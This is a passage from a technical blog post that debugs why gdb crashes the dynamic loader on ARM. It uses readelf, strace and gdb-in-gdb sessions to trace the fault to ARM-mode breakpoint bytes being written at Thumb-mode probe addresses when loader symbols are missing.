    Build ID: 3f3b9b4bfea2654f2cedf6db2d120b4e3a39ea7e                      

Displaying notes found in: .note.stapsdt                                                                 
  Owner                 Data size       Description 
  stapsdt              0x00000032       NT_STAPSDT (SystemTap probe descriptors)                         
    Provider: rtld                                           
    Name: init_start                                
    Location: 0x00002a44, Base: 0x00017b9c, Semaphore: 0x00000000                                        
    Arguments: -4@.L1204 4@[r7, #52]                      
  stapsdt              0x0000002e       NT_STAPSDT (SystemTap probe descriptors)                         
    Provider: rtld                                  
    Name: init_complete                                              
    Location: 0x00002ef8, Base: 0x00017b9c, Semaphore: 0x00000000                                        
    Arguments: -4@.L1207 4@r4                                           
  stapsdt              0x0000002e       NT_STAPSDT (SystemTap probe descriptors)                         
    Provider: rtld
    Name: map_failed
    Location: 0x00004220, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[sp, #20] 4@r5
  stapsdt              0x00000035       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: map_start
    Location: 0x000045b8, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[r7, #252] 4@[r7, #72]
  stapsdt              0x0000003c       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: map_complete
    Location: 0x0000e020, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[fp, #20] 4@[r7, #36] 4@r4
  stapsdt              0x00000036       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: reloc_start
    Location: 0x0000e09e, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[fp, #20] 4@[r7, #36]
  stapsdt              0x0000003e       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: reloc_complete
    Location: 0x0000e312, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[fp, #20] 4@[r7, #36] 4@r4
  stapsdt              0x00000037       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: unmap_start
    Location: 0x0000ebb0, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[r7, #104] 4@[r7, #80]
  stapsdt              0x0000003a       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: unmap_complete
    Location: 0x0000ed90, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[r7, #104] 4@[r7, #80]
  stapsdt              0x00000029       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: setjmp
    Location: 0x0001201c, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: 4@r0 -4@r1 4@r14
  stapsdt              0x00000029       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: longjmp
    Location: 0x00012088, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: 4@r0 -4@r1 4@r4
  stapsdt              0x00000031       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: longjmp_target
    Location: 0x000120ba, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: 4@r0 -4@r1 4@r14

GDB uses this information to map events to breakpoint addresses. You can read a bit more about gdb’s linker interface here, and more about userspace SystemTap probes here.

With a base address of 0xf77c7000, we can look at the PTRACE_POKEDATA calls and see that the addresses map to these probes:

  • 0xf77c9a44 => init_start
  • 0xf77c9ef8 => init_complete
  • 0xf77cb5b8 => map_start
  • 0xf77cb220 => map_failed
  • 0xf77d5312 => reloc_complete
  • 0xf77d5bb0 => unmap_start
  • 0xf77d5d90 => unmap_complete

This is consistent with the probe_info array in gdb/solib-svr4.c in the gdb source code.

I then ran gdb inside strace again, this time without the symbols for the dynamic loader installed. Here’s the log up until the point at which the inferior process crashes:

$ strace -t -eptrace gdb -quiet -batch -nx -command=~/test.script
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21098, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
...
13:01:50 ptrace(PTRACE_GETREGS, 21099, NULL, 0xffb84a9c) = 0                                                                                                                                                       
13:01:50 ptrace(PTRACE_GETSIGINFO, 21099, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21099, si_uid=1000}) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21099, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_CONT, 21099, 0x1, SIG_0) = 0                                                      
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21099, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_GETREGS, 21099, NULL, 0xffb84a9c) = 0
13:01:50 ptrace(PTRACE_GETSIGINFO, 21099, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21099, si_uid=1000}) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21100, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_TRACESYSGOOD) = 0
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_TRACEFORK) = 0
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORKDONE) = 0
13:01:50 ptrace(PTRACE_CONT, 21100, NULL, SIG_0) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21100, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_GETEVENTMSG, 21100, NULL, [21101]) = 0
13:01:50 ptrace(PTRACE_KILL, 21101)     = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21101, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_EXITKILL) = 0
13:01:50 ptrace(PTRACE_KILL, 21100)     = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21100, si_uid=1000, si_status=SIGCHLD, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_KILL, 21100)     = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21100, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_SETOPTIONS, 21099, NULL, PTRACE_O_TRACESYSGOOD|PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORK|PTRACE_O_TRACECLONE|PTRACE_O_TRACEEXEC|PTRACE_O_TRACEVFORKDONE|PTRACE_O_EXITKILL) = 0
13:01:50 ptrace(PTRACE_GETREGSET, 21099, NT_PRSTATUS, [{iov_base=0xffb84e64, iov_len=72}]) = 0
13:01:50 ptrace(PTRACE_GETVFPREGS, 21099, NULL, 0xffb84d48) = 0
13:01:50 ptrace(PTRACE_GETREGSET, 21099, NT_PRSTATUS, [{iov_base=0xffb84e1c, iov_len=72}]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0x411efc, [NULL]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0x411efc, [NULL]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9a44, [0x4c18bf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9a44, [0x4c18bf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9ef8, [0xf00cbf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9ef8, [0xf00cbf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9ef8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb5b8, [0x603cbf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb5b8, [0x603cbf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb220, [0x4639bf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb220, [0x4639bf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5310, [0xbf00e71c]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5314, [0x4620e776]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5310, [0xbf00e71c]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5314, [0x4620e776]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5310, [0xbf00e71c]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5310, 0x1f0e71c) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5314, [0x4620e776]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5314, 0x4620e7f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5d90, [0xe681bf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5d90, [0xe681bf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5d90, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0x4c18bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0x603cbf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0x4639bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0x6d7bbf00) = 0
13:01:50 ptrace(PTRACE_CONT, 21099, 0x1, SIG_0) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21099, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---

Focusing again on the PTRACE_POKEDATA calls:

13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9ef8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5310, 0x1f0e71c) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5314, 0x4620e7f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5d90, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0x4c18bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0x603cbf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0x4639bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0x6d7bbf00) = 0

We see writes to the same 7 addresses where breakpoints were set during the first run, but now there’s a different byte sequence and an extra write. This time, gdb is writing a 4-byte sequence – 0xe7f001f0 to 6 addresses. These are breakpoints for code running in ARM mode (see eabi_linux_arm_le_breakpoint in gdb/arm-linux-tdep.c in the gdb source code). The 2 writes to 0xf77d5310 and 0xf77d5314 are a single breakpoint at 0xf77d5312 (there are 2 writes because it is not on a 4-byte boundary).

Checking the ARMv7 reference manual shows that 0xe7f001f0 is an undefined instruction in ARM mode. However, this byte sequence is decoded as the following valid instructions in Thumb mode:

lsl r0, r6, #7
b #-16

So, it takes the contents of r6, does a logical shift left by 7, writes it to r0 and then does an unconditional branch backwards by 16 bytes. This is quite likely going to cause our program (in this case, the dynamic loader) to go off the rails and crash with a less than useful stacktrace, which is the behaviour we’re seeing.

Why is this happening?

The next step was to figure out why gdb is inserting the ARM breakpoint instruction sequence instead of the Thumb one. To do this, I needed to understand where the breakpoints are written, and grepping the source code suggests the PTRACE_POKEDATA calls happen in inf_ptrace_peek_poke in gdb/inf-ptrace.c (actually, you won’t find PTRACE_POKEDATA here – it’s PT_WRITE_D which is defined in /usr/include/sys/ptrace.h).

Running gdb inside gdb with the dynamic loader debug symbols installed and setting a breakpoint on inf_ptrace_peek_poke shows me the call stack. Note that I set a breakpoint by line number, as inf_ptrace_peek_poke is inlined and it was the only way I could get the conditional breakpoint to work:

$ gdb --args gdb --command=~/test.script
...                                                                                                                                                                
(gdb) break ./gdb/inf-ptrace.c:578 if writebuf != 0x0                                                                                                                                                              
Breakpoint 1 at 0x51218: file ./gdb/inf-ptrace.c, line 578.                                                                                                                                                        
(gdb) run                                                                                                                                                                                                          
Starting program: /usr/bin/gdb --command=\~/test.script                                                                                                                                                            
Cannot parse expression `.L1207 4@r4'.                                                                                                                                                                             
warning: Probes-based dynamic linker interface failed.                                                   
Reverting to original interface.                                                                                                                                                                                   

[Thread debugging using libthread_db enabled]                                                                                                                                                                      
Using host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".                                                                                                                                      
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git                                                         
Copyright (C) 2018 Free Software Foundation, Inc.                                                        
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>                                                                                                                                      
This is free software: you are free to change and redistribute it.                                                                                                                                                 
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"                                                                                                                                         
and "show warranty" for details.                                                                                                                                                                                   
This GDB was configured as "arm-linux-gnueabihf".                                                        
Type "show configuration" for configuration details.                                                     
For bug reporting instructions, please see:                                                              
<http://www.gnu.org/software/gdb/bugs/>.                                                                 
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".

Breakpoint 1, inf_ptrace_xfer_partial (ops=<optimized out>, object=<optimized out>, annex=<optimized out>, readbuf=0x0, writebuf=0x6b29fc <arm_linux_thumb_le_breakpoint>     "\001\336", offset=4152138308, len=2,
    xfered_len=0xfffeee18) at ./gdb/inf-ptrace.c:578
578     ./gdb/inf-ptrace.c: No such file or directory.
(gdb) p/x offset
$1 = 0xf77c9a44
(gdb) bt
#0  inf_ptrace_xfer_partial (ops=<optimized out>, object=<optimized out>, annex=<optimized out>, readbuf=0x0, writebuf=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", offset=4152138308, len=2,
    xfered_len=0xfffeee18) at ./gdb/inf-ptrace.c:578
#1  0x00457512 in linux_xfer_partial (ops=0x8306e0, object=<optimized out>, annex=0x0, readbuf=0x0, writebuf=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", offset=4152138308, len=2, xfered_len=0xfffeee18)
    at ./gdb/linux-nat.c:4280
#2  0x004576da in linux_nat_xfer_partial (ops=0x8306e0, object=TARGET_OBJECT_MEMORY, annex=<optimized out>, readbuf=0x0, writebuf=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", offset=4152138308, len=2,
    xfered_len=0xfffeee18) at ./gdb/linux-nat.c:3908
#3  0x005f64f4 in raw_memory_xfer_partial (ops=ops@entry=0x8306e0, readbuf=readbuf@entry=0x0, writebuf=writebuf@entry=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", memaddr=4152138308, len=len@entry=2,
    xfered_len=xfered_len@entry=0xfffeee18) at ./gdb/target.c:1064
#4  0x005f6a98 in target_xfer_partial (ops=ops@entry=0x8306e0, object=object@entry=TARGET_OBJECT_RAW_MEMORY, annex=annex@entry=0x0, readbuf=readbuf@entry=0x0,
    writebuf=writebuf@entry=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", offset=4152138308, len=<optimized out>, xfered_len=xfered_len@entry=0xfffeee18) at ./gdb/target.c:1298
#5  0x005f7030 in target_write_partial (xfered_len=0xfffeee18, len=2, offset=<optimized out>, buf=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", annex=0x0, object=TARGET_OBJECT_RAW_MEMORY, ops=0x8306e0)
    at ./gdb/target.c:1554
#6  target_write_with_progress (ops=0x8306e0, object=object@entry=TARGET_OBJECT_RAW_MEMORY, annex=annex@entry=0x0, buf=buf@entry=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", offset=4152138308,
    len=len@entry=2, progress=progress@entry=0x0, baton=baton@entry=0x0) at ./gdb/target.c:1821
#7  0x005f70d2 in target_write (len=2, offset=2, buf=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", annex=0x0, object=TARGET_OBJECT_RAW_MEMORY, ops=<optimized out>) at ./gdb/target.c:1847
#8  target_write_raw_memory (memaddr=memaddr@entry=4152138308, myaddr=myaddr@entry=0x6b29fc <arm_linux_thumb_le_breakpoint> "\001\336", len=len@entry=2) at ./gdb/target.c:1473
#9  0x00590c8e in default_memory_insert_breakpoint (gdbarch=<optimized out>, bp_tgt=0x9236f0) at ./gdb/mem-break.c:66
#10 0x004de3aa in bkpt_insert_location (bl=0x923698) at ./gdb/breakpoint.c:12525
#11 0x004e8426 in insert_bp_location (bl=bl@entry=0x923698, tmp_error_stream=tmp_error_stream@entry=0xfffef07c, disabled_breaks=disabled_breaks@entry=0xfffeefec,
    hw_breakpoint_error=hw_breakpoint_error@entry=0xfffeeff0, hw_bp_error_explained_already=hw_bp_error_explained_already@entry=0xfffeeff4) at ./gdb/breakpoint.c:2553
#12 0x004e9556 in insert_breakpoint_locations () at ./gdb/breakpoint.c:2977
#13 update_global_location_list (insert_mode=insert_mode@entry=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12177
#14 0x004ea0a0 in update_global_location_list_nothrow (insert_mode=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12215
#15 0x004ea484 in create_solib_event_breakpoint_1 (insert_mode=UGLL_MAY_INSERT, address=address@entry=4152138308, gdbarch=gdbarch@entry=0x0) at ./gdb/breakpoint.c:7555
#16 create_solib_event_breakpoint (gdbarch=gdbarch@entry=0x928fb0, address=address@entry=4152138308) at ./gdb/breakpoint.c:7562
#17 0x004497bc in svr4_create_probe_breakpoints (objfile=0x933888, probes=0xfffef148, gdbarch=0x928fb0) at ./gdb/solib-svr4.c:2089
#18 svr4_create_solib_event_breakpoints (gdbarch=0x928fb0, address=<optimized out>) at ./gdb/solib-svr4.c:2173
#19 0x00449c5c in enable_break (from_tty=<optimized out>, info=<optimized out>) at ./gdb/solib-svr4.c:2465
#20 svr4_solib_create_inferior_hook (from_tty=<optimized out>) at ./gdb/solib-svr4.c:3057
#21 0x0056bba6 in post_create_inferior (target=0x801084 <current_target>, from_tty=from_tty@entry=0) at ./gdb/infcmd.c:469
#22 0x0056c736 in run_command_1 (args=<optimized out>, from_tty=0, run_how=RUN_NORMAL) at ./gdb/infcmd.c:665
#23 0x00465334 in cmd_func (cmd=<optimized out>, args=<optimized out>, from_tty=<optimized out>) at ./gdb/cli/cli-decode.c:1886
#24 0x006062a6 in execute_command (p=<optimized out>, p@entry=0x880f10 "run", from_tty=0) at ./gdb/top.c:630
#25 0x00548760 in command_handler (command=0x880f10 "run") at ./gdb/event-top.c:583
#26 0x00606a66 in read_command_file (stream=stream@entry=0x874ae0) at ./gdb/top.c:424
#27 0x004684e2 in script_from_file (stream=stream@entry=0x874ae0, file=file@entry=0xfffef7d0 "~/test.script") at ./gdb/cli/cli-script.c:1592
#28 0x004639bc in source_script_from_stream (file_to_open=0xfffef7d0 "~/test.script", file=0xfffef7d0 "~/test.script", stream=0x874ae0) at ./gdb/cli/cli-cmds.c:568
#29 source_script_with_search (file=0xfffef7d0 "~/test.script", from_tty=<optimized out>, search_path=<optimized out>) at ./gdb/cli/cli-cmds.c:604
#30 0x0058821a in catch_command_errors (command=0x463a89 <source_script(char const*, int)>, arg=0xfffef7d0 "~/test.script", from_tty=1) at ./gdb/main.c:379
#31 0x00588ea0 in captured_main_1 (context=<optimized out>) at ./gdb/main.c:1125
#32 captured_main (data=<optimized out>) at ./gdb/main.c:1147
#33 gdb_main (args=<optimized out>) at ./gdb/main.c:1173
#34 0x004343ac in main (argc=<optimized out>, argv=<optimized out>) at ./gdb/gdb.c:32

Frame 9 (default_memory_insert_breakpoint) looks like it will probably be interesting to us. Taking a look at what it does:

int
default_memory_insert_breakpoint (struct gdbarch *gdbarch,
                  struct bp_target_info *bp_tgt)
{
  CORE_ADDR addr = bp_tgt->placed_address;
  const unsigned char *bp;
  gdb_byte *readbuf;
  int bplen;
  int val;

  /* Determine appropriate breakpoint contents and size for this address.  */
  bp = gdbarch_sw_breakpoint_from_kind (gdbarch, bp_tgt->kind, &bplen);

  /* Save the memory contents in the shadow_contents buffer and then
     write the breakpoint instruction.  */
  readbuf = (gdb_byte *) alloca (bplen);
  val = target_read_memory (addr, readbuf, bplen);
  if (val == 0)
    {
       ...
      bp_tgt->shadow_len = bplen;
      memcpy (bp_tgt->shadow_contents, readbuf, bplen);

      val = target_write_raw_memory (addr, bp, bplen);
    }

  return val;
}

The call to gdbarch_sw_breakpoint_from_kind appears to return the bytes written for our breakpoint. gdbarch_sw_breakpoint_from_kind delegates to arm_sw_breakpoint_from_kind in gdb/arm-tdep.c. (The gdbarch_ functions provides a way for architecture independent code in gdb to call functions specific to the architecture associated with the target). Taking a look at what this does:

static const gdb_byte *
arm_sw_breakpoint_from_kind (struct gdbarch *gdbarch, int kind, int *size)
{
  struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);

  switch (kind)
    {
    case ARM_BP_KIND_ARM:
      *size = tdep->arm_breakpoint_size;
      return tdep->arm_breakpoint;
    case ARM_BP_KIND_THUMB:
      *size = tdep->thumb_breakpoint_size;
      return tdep->thumb_breakpoint;
    case ARM_BP_KIND_THUMB2:
      *size = tdep->thumb2_breakpoint_size;
      return tdep->thumb2_breakpoint;
    default:
      gdb_assert_not_reached ("unexpected arm breakpoint kind");
    }
}

So, arm_breakpoint_from_kind returns an ARM, Thumb or Thumb2 breakpoint instruction sequence depending on the value of kind. If we switch to frame 9, we should be able to inspect the value of kind:

(gdb) f 9
#9  0x00590c8e in default_memory_insert_breakpoint (gdbarch=<optimized out>, bp_tgt=0x9236f0) at ./gdb/mem-break.c:66
66      ./gdb/mem-break.c: No such file or directory.
(gdb) p bp_tgt->kind
$2 = 2

2 is ARM_BP_KIND_THUMB, so this appears to check out. Moving further up the stack, we find that kind is determined in frame 10 (bkpt_insert_location in gdb/breakpoint.c). Let’s have a look at what that does:

static int
bkpt_insert_location (struct bp_location *bl)
{
  CORE_ADDR addr = bl->target_info.reqstd_address;

  bl->target_info.kind = breakpoint_kind (bl, &addr);
  bl->target_info.placed_address = addr;

  if (bl->loc_type == bp_loc_hardware_breakpoint)
    return target_insert_hw_breakpoint (bl->gdbarch, &bl->target_info);
  else
    return target_insert_breakpoint (bl->gdbarch, &bl->target_info);
}

This calls breakpoint_kind, which delegates to arm_breakpoint_kind_from_pc in gdb/arm-tdep.c via gdbarch_breakpoint_kind_from_pc. arm_breakpoint_kind_from_pc maps the breakpoint address to an instruction set and returns one of three values – ARM_BP_KIND_ARM, ARM_BP_KIND_THUMB or ARM_BP_KIND_THUMB2. From looking at arm_breakpoint_kind_from_pc, we can see the most interesting part is a call to arm_pc_is_thumb. Let’s have a look at how this works:

int
arm_pc_is_thumb (struct gdbarch *gdbarch, CORE_ADDR memaddr)
{
  struct bound_minimal_symbol sym;
  char type;
  ...

  /* If bit 0 of the address is set, assume this is a Thumb address.  */
  if (IS_THUMB_ADDR (memaddr))
    return 1;

So, first of all it checks whether bit 0 of the breakpoint address is set. Looking at the SystemTap probes in .note.stapsdt from our earlier readelf output, we can see that this is not the case for any probe. Following on:

  /* If the user wants to override the symbol table, let him.  */
  if (strcmp (arm_force_mode_string, "arm") == 0)
    return 0;
  if (strcmp (arm_force_mode_string, "thumb") == 0)
    return 1;

  /* ARM v6-M and v7-M are always in Thumb mode.  */
  if (gdbarch_tdep (gdbarch)->is_m)
    return 1;

We’re not forcing the mode and this isn’t ARM v6-M or v7-M, so, continuing:

  /* If there are mapping symbols, consult them.  */
  type = arm_find_mapping_symbol (memaddr, NULL);
  if (type)
    return type == 't';

arm_find_mapping_symbol tries to find a mapping symbol associated with the breakpoint address. Mapping symbols are a special type of symbol used to identify transitions between ARM and Thumb instruction sets (see this information). Breaking here in gdb shows that there isn’t a mapping symbol associated with the init_start probe:

(gdb) break ./gdb/arm-tdep.c:434
Breakpoint 2 at 0x43ec3c: file ./gdb/arm-tdep.c, line 434.
(gdb) run
...

Breakpoint 2, arm_pc_is_thumb (gdbarch=gdbarch@entry=0x928fb0, memaddr=memaddr@entry=4152138308) at ./gdb/arm-tdep.c:434
434     ./gdb/arm-tdep.c: No such file or directory.
(gdb) p/x memaddr
$2 = 0xf77c9a44
(gdb) p type
$3 = 0 '\000'

So, continuing to the next step:

  /* Thumb functions have a "special" bit set in minimal symbols.  */
  sym = lookup_minimal_symbol_by_pc (memaddr);
  if (sym.minsym)
    return (MSYMBOL_IS_SPECIAL (sym.minsym));

lookup_minimal_symbol_by_pc tries to map the breakpoint address to a function symbol. MSYMBOL_IS_SPECIAL(sym.minsym) expands to sym.minsym->target_flag_1 and is 1 if bit 0 of the symbol’s target address is set, indicating that the function is called in Thumb mode (see arm_elf_make_msymbol_special in gdb/arm-tdep.c for where this is set). Breaking here in gdb shows that this succeeds:

(gdb) break ./gdb/arm-tdep.c:439
Breakpoint 3 at 0x43ec54: file ./gdb/arm-tdep.c, line 439.
(gdb) cont
Continuing.

Breakpoint 3, arm_pc_is_thumb (gdbarch=gdbarch@entry=0x928fb0, memaddr=memaddr@entry=4152138308) at ./gdb/arm-tdep.c:439
439     in ./gdb/arm-tdep.c
(gdb) p sym.minsym
$4 = (minimal_symbol *) 0x964278
(gdb) p *sym.minsym
$5 = {mginfo = {name = 0x952ff8 "dl_main", value = {ivalue = 5932, block = 0x172c, bytes = 0x172c <error: Cannot access memory at address 0x172c>, address = 5932, common_block = 0x172c, chain = 0x172c}, 
    language_specific = {obstack = 0x0, demangled_name = 0x0}, language = language_auto, ada_mangled = 0, section = 10}, size = 10516, filename = 0x949a48 "rtld.c", type = mst_file_text, created_by_gdb = 0, 
  target_flag_1 = 1, target_flag_2 = 0, has_size = 1, hash_next = 0x0, demangled_hash_next = 0x0}
(gdb) p sym.minsym->target_flag_1
$6 = 1

It indicates that the init_start probe is in dl_main, and that it is called in Thumb mode.

We can use readelf to inspect the symbol table and verify that this is correct:

$ readelf -s libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so | grep dl_main
    42: 0000172d 10516 FUNC LOCAL DEFAULT 11 dl_main

Note that bit 0 of the target address is set.

If lookup_minimal_symbol_by_pc fails, then we’re basically out of luck and arm_pc_is_thumb will return 0 (indicating that the breakpoint address is in an area that is executing ARM instructions). But this depends on the .symtab ELF section being present, so there is an obvious issue here as this is stripped from the binary in the build (and shipped in a separate debug object).

I then ran gdb in gdb without the dynamic loader symbols installed and set a breakpoint on default_memory_insert_breakpoint:

$ gdb --args gdb --batch --command=~/test.script
(gdb) set debug-file-directory /home/ubuntu/libc6-syms/usr/lib/debug/:/usr/lib/debug/                                                                                                                             
(gdb) break default_memory_insert_breakpoint(gdbarch*, bp_target_info*)                                  
Breakpoint 1 at 0x190c34: file ./gdb/mem-break.c, line 39.                                                                                                                                                         
(gdb) run                                                                                                                                                                                                          
Starting program: /usr/bin/gdb --batch --command=\~/test.script                                                                                                                                                    
Cannot parse expression `.L1207 4@r4'.                                                                                                                                                                             
warning: Probes-based dynamic linker interface failed.                                                   
Reverting to original interface.                                                                         

[Thread debugging using libthread_db enabled]                                                                                                                                                                      
Using host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".                                                                                                                                      

Breakpoint 1, default_memory_insert_breakpoint (gdbarch=0x9288c0, bp_tgt=0x922fe8) at ./gdb/mem-break.c:39
39      ./gdb/mem-break.c: No such file or directory.
(gdb) bt
#0  default_memory_insert_breakpoint (gdbarch=0x9288c0, bp_tgt=0x922fe8) at ./gdb/mem-break.c:39         
#1  0x004de3aa in bkpt_insert_location (bl=0x922f90) at ./gdb/breakpoint.c:12525
#2  0x004e8426 in insert_bp_location (bl=bl@entry=0x922f90, tmp_error_stream=tmp_error_stream@entry=0xfffef07c, disabled_breaks=disabled_breaks@entry=0xfffeefec,
    hw_breakpoint_error=hw_breakpoint_error@entry=0xfffeeff0, hw_bp_error_explained_already=hw_bp_error_explained_already@entry=0xfffeeff4) at ./gdb/breakpoint.c:2553
#3  0x004e9556 in insert_breakpoint_locations () at ./gdb/breakpoint.c:2977
